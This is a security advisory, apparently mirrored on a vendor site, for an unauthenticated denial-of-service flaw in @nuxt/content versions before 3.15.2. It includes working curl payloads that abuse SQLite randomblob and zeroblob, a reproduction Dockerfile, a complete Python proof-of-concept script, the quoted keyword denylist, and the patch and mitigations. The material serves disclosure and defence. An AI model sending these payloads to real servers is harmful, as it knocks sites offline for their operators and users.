
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 3.0.0, < 3.15.2
Patched in 3.15.2
Details
The POST /__nuxt_content/:collection/query endpoint in @nuxt/content accepts an attacker-controlled sql field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (assertSafeQuery). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication.
The vulnerability spans three source files:
Route registration — src/module.ts:207-208
The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup:
// src/module.ts:207-208
addServerHandler({
route: `/__nuxt_content/${collection.name}/query`,
handler: resolver.resolve('./runtime/api/query.post'),
})
No authentication middleware is attached; the route is reachable by any client.
Source (attacker input) — src/runtime/api/query.post.ts:7-9
// src/runtime/api/query.post.ts
const { sql } = await readBody(event) // line 8 — attacker-controlled
assertSafeQuery(sql, collection) // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql) // line 18 — raw sql passed to sink
Inadequate sanitizer — src/runtime/internal/security.ts:55-63
if (where) {
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) { // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
// No rejection of function calls (randomblob, zeroblob, hex, length, …)
}
The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (randomblob, zeroblob, hex, length) are not keywords matched by the regex and therefore pass validation unconditionally.
Sink — src/runtime/internal/database.server.ts:26-28
all: async (sql, params = []) => {
return db.prepare(sql).all(...params) // executes the unmodified attacker sql
}
better-sqlite3's prepare().all() is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling.
Attack chain summary:
Attacker HTTP POST (sql field)
→ query.post.ts readBody() [source]
→ assertSafeQuery() — BYPASS [insufficient validation]
→ loadDatabaseAdapter().all(sql) [propagation]
→ db.prepare(sql).all() [sink — synchronous, blocks event loop]
Environment setup
git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000
Step 1 — Establish baseline (safe query)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s
Step 2 — Attack payload (randomblob variant)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~2.25s (~598 MB RSS during execution)
The payload passes assertSafeQuery() because the WHERE clause contains no blocked keywords. SQLite then:
randomblob(200000000)hex()length()Step 3 — Zeroblob variant (allocation-focused)
--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination
Automated PoC (Docker)
# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest
# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000
Dynamic reproduction result (phase2):
| Metric | Value |
|---|---|
| Baseline response time | 0.0088 s |
| Attack response time | 11.82 s |
| Slowdown ratio | 1339× |
| HTTP status for attack | 200 (not rejected) |
The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack.
Proposed patch — src/runtime/internal/security.ts
const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) {
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
+ const tokens = noString.match(/[A-Z_]\w*/gi) || []
+ if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+ throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+ }
}
This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible @nuxt/content application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at POST /__nuxt_content/<collection>/query.
Because better-sqlite3 executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large randomblob() argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.
Impact scope:
All users of publicly deployed @nuxt/content v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.
Dockerfile# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
# docker build -f vuln-001/Dockerfile -t vuln001:latest .
FROM node:20-alpine
# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts
# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js
# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install [email protected]
EXPOSE 3000
CMD ["node", "server.js"]
poc.py#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().
Attack payload: SELECT * FROM _content_content
WHERE (length(hex(randomblob(100000000))) > 0)
ORDER BY stem ASC LIMIT 1
This forces SQLite to:
1. Allocate 100 MB of random bytes via randomblob(100000000)
2. Hex-encode the result to a 200 MB ASCII string via hex()
3. Compute the string length via length()
The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.
Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source: src/runtime/internal/security.ts:55-63
src/runtime/api/query.post.ts:8,11,18
src/runtime/internal/database.server.ts:27
CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request
DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000
# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5
# SQL payloads
SAFE_SQL = (
"SELECT * FROM _content_content "
"WHERE (id = '1') "
"ORDER BY stem ASC LIMIT 1"
)
# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...) -> 200 MB hex string
# length(...) -> string length computation
MALICIOUS_SQL = (
"SELECT * FROM _content_content "
"WHERE (length(hex(randomblob(100000000))) > 0) "
"ORDER BY stem ASC LIMIT 1"
)
# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
"SELECT * FROM _content_content "
"WHERE (zeroblob(500000000) IS NOT NULL) "
"ORDER BY stem ASC LIMIT 1"
)
def post_query(host, port, sql, timeout=120):
"""Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
payload = json.dumps({"sql": sql}).encode("utf-8")
req = urllib.request.Request(
f"http://{host}:{port}/__nuxt_content/content/query",
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
t0 = time.monotonic()
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
elapsed = time.monotonic() - t0
body = resp.read().decode("utf-8")
return resp.status, elapsed, body
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
body = e.read().decode("utf-8")
return e.code, elapsed, body
except Exception as e:
elapsed = time.monotonic() - t0
return None, elapsed, str(e)
def wait_for_server(host, port, retries=30, delay=1.0):
"""Poll until the server responds or timeout."""
print(f"[*] Waiting for server at {host}:{port} ...")
for attempt in range(1, retries + 1):
try:
urllib.request.urlopen(
f"http://{host}:{port}/", timeout=2
)
except urllib.error.HTTPError:
# Any HTTP response (including 404) means the server is up
print(f"[+] Server is ready (attempt {attempt})")
return True
except Exception:
pass
time.sleep(delay)
print(f"[!] Server did not become ready after {retries} attempts")
return False
def main():
parser = argparse.ArgumentParser(
description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
)
parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
parser.add_argument(
"--no-wait",
action="store_true",
help="Skip server readiness check (useful when server is already running)",
)
args = parser.parse_args()
host, port = args.host, args.port
print("=" * 70)
print("VULN-001: Unauthenticated SQLite Function DoS")
print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
print("=" * 70)
if not args.no_wait:
if not wait_for_server(host, port):
sys.exit(2)
# ------------------------------------------------------------------
# Step 1: Safe baseline query — validates endpoint is reachable
# ------------------------------------------------------------------
print()
print("[STEP 1] Baseline safe query")
print(f" SQL: {SAFE_SQL}")
status1, t1, body1 = post_query(host, port, SAFE_SQL)
print(f" Status: {status1} Time: {t1:.4f}s")
if status1 == 200:
rows1 = json.loads(body1)
print(f" Rows returned: {len(rows1)}")
else:
print(f" Response: {body1[:200]}")
# ------------------------------------------------------------------
# Step 2: Malicious payload — SQLite function DoS
# ------------------------------------------------------------------
print()
print("[STEP 2] Malicious SQLite function payload")
print(f" SQL: {MALICIOUS_SQL}")
print(" Explanation:")
print(" randomblob(100000000) -> allocates 100 MB of random bytes")
print(" hex(...) -> encodes to 200 MB ASCII string")
print(" length(...) -> forces full evaluation before comparison")
print(" assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
print(" Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
print()
print(" Sending request ...")
status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
print(f" Status: {status2} Time: {t2:.4f}s")
if status2 == 200:
rows2 = json.loads(body2)
print(f" Rows returned: {len(rows2)} (assertSafeQuery() did NOT reject this query)")
else:
print(f" Response: {body2[:200]}")
# ------------------------------------------------------------------
# Step 3: Report
# ------------------------------------------------------------------
print()
print("[RESULT]")
print(f" Baseline time : {t1:.4f}s")
print(f" Attack time : {t2:.4f}s")
ratio = (t2 / t1) if t1 > 0 else float("inf")
print(f" Slowdown ratio : {ratio:.1f}x")
print()
accepted = status2 == 200
slow_enough = t2 >= ATTACK_MIN_SECONDS
if accepted and slow_enough:
print("[PASS] VULNERABILITY CONFIRMED")
print(f" 1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
print(f" 2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
print(f" 3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
print(f" 4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
sys.exit(0)
elif accepted and not slow_enough:
print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
print(f" accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
print(" Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
sys.exit(1)
else:
print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
print(f" Response body: {body2[:300]}")
sys.exit(1)
if __name__ == "__main__":
main()
All @nuxt/content v3 releases before 3.15.2 are affected (>= 3.0.0, < 3.15.2). The report was reproduced against 3.15.1, but the same WHERE clause validation gap exists in every earlier v3 release; 3.0.0 performed no query validation at all.
Fully static (prerendered, no server) deployments are not affected.
Fixed in 3.15.2 (#3819): function calls are rejected in query WHERE clauses. Subsequent releases harden validation further — 3.16.1 removes a ReDoS in assertSafeQuery (#3851) and 3.16.2 only accepts WHERE clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (>= 3.16.2) is recommended.
If you cannot upgrade, block or restrict access to POST /__nuxt_content/*/query at the proxy/WAF level, or prerender the site so the endpoint is not deployed.
Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).
EPSS, exploit probability
Low0.35%
estimated chance of real-world exploitation in the next 30 days, higher than 29.0% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.